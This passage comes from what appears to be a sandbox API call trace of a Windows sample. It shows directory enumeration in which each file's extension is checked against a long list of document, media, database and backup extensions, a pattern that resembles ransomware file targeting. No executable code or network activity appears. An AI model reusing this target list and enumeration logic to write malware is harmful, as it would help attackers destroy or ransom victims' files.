[0061.850] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".ppam") returned 5 [0061.850] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0061.850] lstrlenW (lpString=".ppm") returned 4 [0061.850] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".pps") returned 4 [0061.850] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".ppsm") returned 5 [0061.850] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0061.850] lstrlenW (lpString=".ppt") returned 4 [0061.850] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".pptm") returned 5 [0061.850] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0061.850] lstrlenW (lpString=".pptx") returned 5 [0061.850] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0061.850] lstrlenW (lpString=".prn") returned 4 [0061.850] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".ps") returned 3 [0061.850] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0061.850] lstrlenW (lpString=".psb") returned 4 [0061.850] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".psd") returned 4 [0061.850] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".pst") returned 4 [0061.850] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".ptx") returned 4 [0061.850] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0061.850] lstrlenW (lpString=".pub") returned 4 [0061.851] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0061.851] lstrlenW (lpString=".pwm") returned 4 [0061.851] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0061.851] lstrlenW (lpString=".pxr") returned 4 [0061.851] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0061.851] lstrlenW (lpString=".py") returned 3 [0061.851] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0061.851] lstrlenW (lpString=".qt") returned 3 [0061.851] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0061.851] lstrlenW (lpString=".r3d") returned 4 [0061.851] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0061.851] lstrlenW (lpString=".raf") returned 4 [0061.851] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0061.851] lstrlenW (lpString=".rar") returned 4 [0061.851] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.851] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0061.851] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0061.851] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0061.851] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0061.851] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0061.851] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0061.852] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0061.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26 [0061.852] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583088 [0061.852] FindNextFileW (in: hFindFile=0x583088, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.852] FindNextFileW (in: hFindFile=0x583088, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0061.852] lstrlenW (lpString="eula.rtf") returned 8 [0061.852] lstrlenW (lpString=".1cd") returned 4 [0061.852] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.852] lstrlenW (lpString=".3ds") returned 4 [0061.852] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0061.852] lstrlenW (lpString=".3fr") returned 4 [0061.852] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0061.852] lstrlenW (lpString=".3g2") returned 4 [0061.852] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0061.852] lstrlenW (lpString=".3gp") returned 4 [0061.852] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0061.852] lstrlenW (lpString=".7z") returned 3 [0061.852] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.852] lstrlenW (lpString=".accda") returned 6 [0061.852] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0061.852] lstrlenW (lpString=".accdb") returned 6 [0061.852] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0061.852] lstrlenW (lpString=".accdc") returned 6 [0061.852] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0061.852] lstrlenW (lpString=".accde") returned 6 [0061.852] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0061.853] lstrlenW (lpString=".accdt") returned 6 [0061.853] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0061.853] lstrlenW (lpString=".accdw") returned 6 [0061.853] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0061.853] lstrlenW (lpString=".adb") returned 4 [0061.853] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".adp") returned 4 [0061.853] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".ai") returned 3 [0061.853] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0061.853] lstrlenW (lpString=".ai3") returned 4 [0061.853] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".ai4") returned 4 [0061.853] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".ai5") returned 4 [0061.853] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".ai6") returned 4 [0061.853] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".ai7") returned 4 [0061.853] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".ai8") returned 4 [0061.853] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".anim") returned 5 [0061.853] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0061.853] lstrlenW (lpString=".arw") returned 4 [0061.853] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".as") returned 3 [0061.853] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0061.853] lstrlenW (lpString=".asa") returned 4 [0061.853] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".asc") returned 4 [0061.853] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0061.853] lstrlenW (lpString=".ascx") returned 5 [0061.853] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0061.853] lstrlenW (lpString=".asm") returned 4 [0061.854] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".asmx") returned 5 [0061.854] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0061.854] lstrlenW (lpString=".asp") returned 4 [0061.854] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".aspx") returned 5 [0061.854] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0061.854] lstrlenW (lpString=".asr") returned 4 [0061.854] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".asx") returned 4 [0061.854] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".avi") returned 4 [0061.854] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".avs") returned 4 [0061.854] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".backup") returned 7 [0061.854] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0061.854] lstrlenW (lpString=".bak") returned 4 [0061.854] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".bay") returned 4 [0061.854] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".bd") returned 3 [0061.854] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0061.854] lstrlenW (lpString=".bin") returned 4 [0061.854] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".bmp") returned 4 [0061.854] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".bz2") returned 4 [0061.854] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".c") returned 2 [0061.854] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0061.854] lstrlenW (lpString=".cdr") returned 4 [0061.854] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".cer") returned 4 [0061.854] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0061.854] lstrlenW (lpString=".cf") returned 3 [0061.854] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0061.855] lstrlenW (lpString=".cfc") returned 4 [0061.855] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".cfm") returned 4 [0061.855] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".cfml") returned 5 [0061.855] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0061.855] lstrlenW (lpString=".cfu") returned 4 [0061.855] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".chm") returned 4 [0061.855] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".cin") returned 4 [0061.855] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".class") returned 6 [0061.855] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0061.855] lstrlenW (lpString=".clx") returned 4 [0061.855] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".config") returned 7 [0061.855] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0061.855] lstrlenW (lpString=".cpp") returned 4 [0061.855] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".cr2") returned 4 [0061.855] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".crt") returned 4 [0061.855] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".crw") returned 4 [0061.855] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".cs") returned 3 [0061.855] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0061.855] lstrlenW (lpString=".css") returned 4 [0061.855] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".csv") returned 4 [0061.855] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".cub") returned 4 [0061.855] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0061.855] lstrlenW (lpString=".dae") returned 4 [0061.855] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".dat") returned 4 [0061.856] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".db") returned 3 [0061.856] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0061.856] lstrlenW (lpString=".dbf") returned 4 [0061.856] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".dbx") returned 4 [0061.856] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".dc3") returned 4 [0061.856] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".dcm") returned 4 [0061.856] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".dcr") returned 4 [0061.856] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".der") returned 4 [0061.856] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".dib") returned 4 [0061.856] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".dic") returned 4 [0061.856] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".dif") returned 4 [0061.856] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".divx") returned 5 [0061.856] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0061.856] lstrlenW (lpString=".djvu") returned 5 [0061.856] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0061.856] lstrlenW (lpString=".dng") returned 4 [0061.856] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".doc") returned 4 [0061.856] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".docm") returned 5 [0061.856] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0061.856] lstrlenW (lpString=".docx") returned 5 [0061.856] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.856] lstrlenW (lpString=".dot") returned 4 [0061.856] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0061.856] lstrlenW (lpString=".dotm") returned 5 [0061.857] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0061.857] lstrlenW (lpString=".dotx") returned 5 [0061.857] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0061.857] lstrlenW (lpString=".dpx") returned 4 [0061.857] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".dqy") returned 4 [0061.857] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".dsn") returned 4 [0061.857] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".dt") returned 3 [0061.857] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0061.857] lstrlenW (lpString=".dtd") returned 4 [0061.857] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".dwg") returned 4 [0061.857] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".dwt") returned 4 [0061.857] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".dx") returned 3 [0061.857] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0061.857] lstrlenW (lpString=".dxf") returned 4 [0061.857] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".edml") returned 5 [0061.857] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0061.857] lstrlenW (lpString=".efd") returned 4 [0061.857] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".elf") returned 4 [0061.857] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".emf") returned 4 [0061.857] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".emz") returned 4 [0061.857] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".epf") returned 4 [0061.857] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".eps") returned 4 [0061.857] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0061.857] lstrlenW (lpString=".epsf") returned 5 [0061.858] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0061.858] lstrlenW (lpString=".epsp") returned 5 [0061.858] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0061.858] lstrlenW (lpString=".erf") returned 4 [0061.858] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".exr") returned 4 [0061.858] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".f4v") returned 4 [0061.858] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".fido") returned 5 [0061.858] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0061.858] lstrlenW (lpString=".flm") returned 4 [0061.858] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".flv") returned 4 [0061.858] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".frm") returned 4 [0061.858] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".fxg") returned 4 [0061.858] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".geo") returned 4 [0061.858] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".gif") returned 4 [0061.858] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".grs") returned 4 [0061.858] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".gz") returned 3 [0061.858] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0061.858] lstrlenW (lpString=".h") returned 2 [0061.858] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0061.858] lstrlenW (lpString=".hdr") returned 4 [0061.858] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".hpp") returned 4 [0061.858] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".hta") returned 4 [0061.858] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0061.858] lstrlenW (lpString=".htc") returned 4 [0061.858] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".htm") returned 4 [0061.859] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".html") returned 5 [0061.859] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0061.859] lstrlenW (lpString=".icb") returned 4 [0061.859] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".ics") returned 4 [0061.859] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".iff") returned 4 [0061.859] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".inc") returned 4 [0061.859] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".indd") returned 5 [0061.859] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0061.859] lstrlenW (lpString=".ini") returned 4 [0061.859] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".iqy") returned 4 [0061.859] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".j2c") returned 4 [0061.859] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".j2k") returned 4 [0061.859] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".java") returned 5 [0061.859] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0061.859] lstrlenW (lpString=".jp2") returned 4 [0061.859] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".jpc") returned 4 [0061.859] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".jpe") returned 4 [0061.859] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".jpeg") returned 5 [0061.859] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0061.859] lstrlenW (lpString=".jpf") returned 4 [0061.859] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".jpg") returned 4 [0061.859] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.859] lstrlenW (lpString=".jpx") returned 4 [0061.860] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".js") returned 3 [0061.860] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0061.860] lstrlenW (lpString=".jsf") returned 4 [0061.860] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".json") returned 5 [0061.860] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0061.860] lstrlenW (lpString=".jsp") returned 4 [0061.860] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".kdc") returned 4 [0061.860] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".kmz") returned 4 [0061.860] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".kwm") returned 4 [0061.860] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".lasso") returned 6 [0061.860] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0061.860] lstrlenW (lpString=".lbi") returned 4 [0061.860] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".lgf") returned 4 [0061.860] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".lgp") returned 4 [0061.860] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".log") returned 4 [0061.860] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".m1v") returned 4 [0061.860] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".m4a") returned 4 [0061.860] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".m4v") returned 4 [0061.860] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".max") returned 4 [0061.860] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0061.860] lstrlenW (lpString=".md") returned 3 [0061.860] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0061.860] lstrlenW (lpString=".mda") returned 4 [0061.860] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mdb") returned 4 [0061.861] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mde") returned 4 [0061.861] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mdf") returned 4 [0061.861] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mdw") returned 4 [0061.861] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mef") returned 4 [0061.861] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mft") returned 4 [0061.861] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mfw") returned 4 [0061.861] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mht") returned 4 [0061.861] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mhtml") returned 6 [0061.861] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0061.861] lstrlenW (lpString=".mka") returned 4 [0061.861] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mkidx") returned 6 [0061.861] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0061.861] lstrlenW (lpString=".mkv") returned 4 [0061.861] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mos") returned 4 [0061.861] lstrcmpiW 